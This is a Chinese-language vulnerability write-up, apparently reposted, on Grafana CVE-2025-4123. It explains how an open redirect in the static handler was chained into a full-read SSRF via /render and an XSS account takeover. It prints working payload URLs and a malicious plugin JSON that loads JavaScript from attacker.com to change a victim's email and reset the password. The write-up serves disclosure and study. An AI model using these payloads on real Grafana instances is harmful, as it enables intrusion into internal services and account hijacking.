Grafana CVE-2025-4123:全读SSRF与账户接管

摘要

当Web应用程序接收一个URL参数,并在未经验证的情况下将用户重定向到该指定URL时,就会发生开放重定向。

/redirect?url= --> (302 重定向) --> 

这本身看起来可能并不危险,但此类漏洞是发现两个独立漏洞的起点:一个全读SSRF和一个账户接管漏洞。

在这篇文章中,我将逐步详细介绍发现它们的完整过程。

为什么选择Grafana?

Grafana是一个开源分析平台,主要使用Go和TypeScript构建,用于可视化来自Prometheus和InfluxDB等来源的数据。

我认为在这个Web应用程序中寻找漏洞将是一个很好的挑战,因此我下载了源代码并开始调试——尽管这是我第一次使用Go。我决定专注于应用程序的未认证部分。

入口点:开放重定向

我查看了 api/api.go 中定义的所有未认证端点...

// 未登录视图
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get("/login", hs.LoginView)
r.Get("", hs.Index)

// 已认证视图
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...

功能分析

我甚至深入挖掘以检查应用程序中使用的中间件。就在这时,我遇到了一个负责处理静态路由的函数——它引起了我的注意。

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
        return false
    }
    file := ctx.Req.URL.Path
    for _, p := range opt.Exclude {
        if file == p {
            return false
        }
    }
    // 如果有前缀,则通过剥离前缀来过滤请求
    if opt.Prefix != "" {
        if !strings.HasPrefix(file, opt.Prefix) {
            return false
        }
        file = file[len(opt.Prefix):]
        if file != "" && file[0] != '/' {
            return false
        }
    }
    f, err := opt.FileSystem.Open(file)
    if err != nil {
        return false
    }
    ..............
}

该函数用于根据用户输入从系统中检索文件。自然地,我的第一个想法是尝试使用像 ../ 这样的路径遍历技术加载任意文件。

我将向你解释所有代码和现有净化措施的流程(理解漏洞很重要):

因此,如果你请求 /public/file/../../../name,路径会被净化并解析为 /staticfiles/etc/etc/name,从而有效地阻止了对目标目录之外非预期文件的访问。

此外,如果解析后的最终路径指向一个文件夹,StaticHandler 函数会检查其中的默认文件——通常从该目录提供 /index.html

if fi.IsDir() {
    // 如果缺少尾部斜杠,则重定向。
    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
        if !strings.HasPrefix(path, "/") {
            // 澄清这是一个相对于此服务器的路径
            path = fmt.Sprintf("/%s", path)
        } else {
            // 以 // 或 / 开头的字符串会被浏览器解释为URL,而不是服务器相对路径
            rePrefix := regexp.MustCompile(`^(?:/\|/+)`)
            path = rePrefix.ReplaceAllString(path, "/")
        }
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
        return true
    }
    file = path.Join(file, opt.IndexFile)
    indexFile, err := opt.FileSystem.Open(file)
    ....
}

正如你所看到的,如果最终文件是一个目录,并且提供的路由(例如 /public/build)不是以 / 结尾,服务器会重定向到附加了尾部 / 的相同路径。

GET /public/build HTTP/1.1
Host: 192.168.100.2:3000

HTTP/1.1 302 Found
Location: /public/build/

这种重定向行为正是开放重定向漏洞发生的地方,所以接下来让我们深入探讨。

目标

我有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向URL将始终以 / 开头。我的目标是创建一个路由,当被请求时,重定向到一个有效的完整URL,并且该URL也以 / 开头,例如:

//attacker.com/...    --> `//` 表示协议相对URL,使用与当前页面相同的协议(HTTPS)
/attacker.com/...     --> `/` 做同样的事情

问题与解决方案

有效的目录

为了触发重定向功能,我需要一个以 /public/ 开头的路由,并且当传递给 opt.FileSystem.Open(file) 时,该路由能解析为一个有效的目录。

我从 /public/attacker.com/../.. 开始,它解析为空字符串 "",然后附加到 /staticfiles/etc/etc/,触发 if fi.isDir(){} 代码流。

/public/attacker.com/../.. --> /attacker.com/../.. --> "" --> /staticfiles/etc/etc/ + "" --> fi.isDir() TRUE

现在,我有了一种方法,可以注入任何将被 opt.FileSystem.Open(file) 解释为文件夹的有效载荷。

/public/{}/../..

不一致性

一旦进入 isDir() 部分,/public/attacker.com/../.. 路径就到达了 http.Redirect() 函数。问题是这个函数也会解析路径,导致重定向路径变为 /

if fi.IsDir() {
    ...
    // path 是 "/public/attacker.com/../.." 但最终重定向是 "/"
    http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
    return true
    ...
}

如果我请求 /public/attacker.com/../..

GET /public/attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000

HTTP/1.1 302 Found
Location: /

所以,基本上,我需要创建一个路由,其中 /../.. 在加载文件时被 opt.FileSystem.Open(file) 解析,但在执行重定向时 http.Redirect() 中不被解析。

路径在每种情况下被解析的方式不同。

  • opt.FileSystem.Open(file) 期望一个系统文件路径。
  • http.Redirect(path) 期望一个URL路径。

问题就是答案?

  • opt.FileSystem.Open(file)? 视为普通字符。
  • http.Redirect(path)? 解释为URL参数的开始。

这意味着 /public/attacker.com/?/../../../.. 将这样被处理:

opt.FileSystem.Open() 中 --> /public/attacker.com/?/../../../.. 解析为 "" --> /staticfiles/etc/etc/ + "" 是一个有效的文件夹。

http.Redirect() 中 → /public/attacker.com/?/../../../.. --> ? 之后的任何内容都被视为查询字符串,不作为路径的一部分进行解析。

使用 ? -> %3f 进行请求:

GET /public/attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000

HTTP/1.1 302 Found
Location: /public/attacker.com/?/../..

最终有效载荷

URL /public/attacker.com/?/../../../.. 需要被解析为一个以 / 开头的完整URL。

我简单地使用了这个路径:/public/../attacker.com/?/../../../..

当 http.Redirect() 解析路径时,它会移除 /public 部分。

请求:

GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000

HTTP/1.1 302 Found
Location: /attacker.com/?/../../../../../..

全读SSRF

那个开放重定向本身并没有严重的安全影响,所以我需要将其与另一个功能链接起来。

Grafana有一个名为 /render 的端点,用于根据提供的路径生成图像。

// 渲染
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

此端点使用无头浏览器来渲染用户指定的路由的HTML,它只接受相对URL路径 /route,不允许从绝对URL https://.... 渲染内容。

但是,如果我使用我发现的开放重定向来重定向到内部服务呢?

首先,我尝试加载 google.es 使用 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..

然后我设置了一个外部无法访问的内部服务。

我尝试加载 127.0.0.1:1234 使用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..

利用这个漏洞,我能够完全读取内部服务。由于使用了浏览器进行渲染,我甚至可以通过制作一个针对内部服务的表单来发送 POST 请求。

Grafana在Intigriti上的公开漏洞赏金计划不包括 /render 端点,因为它默认未启用。此外,这个漏洞需要登录,所以我无法从中获得任何好处。

通过XSS进行账户接管

这可能是我为实现XSS和账户接管所利用过的最好的漏洞链。

客户端路径遍历

Grafana客户端代码的一个重要部分允许客户端路径遍历。

例如,当你在浏览器中加载 /invite/1 时,JavaScript会向 /api/user/invite/1 发出请求以获取邀请信息。

但是,如果你加载 /invite/..%2f..%2f..%2f..%2froute,JavaScript会解析路径遍历并最终加载 /route

这创建了一个完美的场景,可以强制JavaScript加载开放重定向,进而从我的服务器获取一个特制的JSON。

但首先,我需要找到一个以不安全方式加载内容的端点,并利用它来执行JavaScript。

加载恶意JavaScript文件

你可以使用 /a/plugin-app/explore 来加载和管理插件应用。

此功能的JavaScript从URL中提取插件应用名称,并用它向 /api/plugins/plugin-app/settings 请求插件信息。

/api/plugins/plugin-app/settings 文件看起来像这样。

{
  "name": "plugin-app",
  "type": "app",
  "id": "plugin-app",
  "enabled": true,
  "pinned": true,
  "autoEnabled": true,
  "module": "/modules/..../plugin-app.js", // 要加载的js文件
  "baseUrl": "public/plugins/grafana-lokiexplore-app",
  "info": {
    "author": {
      "name": "Grafana"
      ...
    }
  }
  ...
}

/a/plugin-app/explore 加载该文件,并执行 "module" 参数中提供的JavaScript。

/a/plugin-app/explore 存在客户端路径遍历漏洞,这允许我加载服务器上的任何路由,而不是 /api/plugin-app/settings

这让我可以加载开放重定向,从而获取我自己的恶意JSON,其中包含我想要的任何JavaScript文件。

所以,基本上,我设置了自己的服务器,包含所有必要的JS和JSON文件。我只需要托管一个像这样的JSON:

{
  "name": "ExploitPluginReq",
  "type": "app",
  "id": "grafana-lokiexplore-app",
  "enabled": true,
  "pinned": true,
  "autoEnabled": true,
  "module": "http://attacker.com/file?js=file", // 恶意js文件
  "baseUrl": "public/plugins/grafana-lokiexplore-app",
  "info": {
    "author": {
      ...
    }
  }
  ...
}

并加载这个路由:/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore,它利用了客户端路径遍历和开放重定向。

结果:

我的恶意JavaScript文件被执行,允许我更改受害者的电子邮件并重置他们的密码。

完整漏洞利用

github.com/NightBloodz…

我一直认为Grafana是一个不可能被入侵的目标。它看起来如此复杂和安全——公平地说,它确实如此。

但发现这个漏洞证明,无论一个应用程序看起来多么安全,它总是有或者最终会有漏洞。

我无法通过向多个漏洞赏金计划报告来进一步升级这个漏洞,因为这两个利用路径都需要认证。FINISHED CSD0tFqvECLokhw9aBeRqvKIIiRnkL9yIza9szHEGEsgJQ2u/pg4kqWzexgckcGuCZ4G+G/isppsz+vpquPYF9IWRUby7c15zOEBYpQSS2FBudsxgaVCbpDSoPJQROt4Wjd1DExefN9AONM7bYep3g==

本站提供的所有下载资源均来自互联网,仅提供学习交流使用,版权归原作者所有。如需商业使用,请联系原作者获得授权。 如您发现有涉嫌侵权的内容,请联系我们 邮箱:alixiixcom@163.com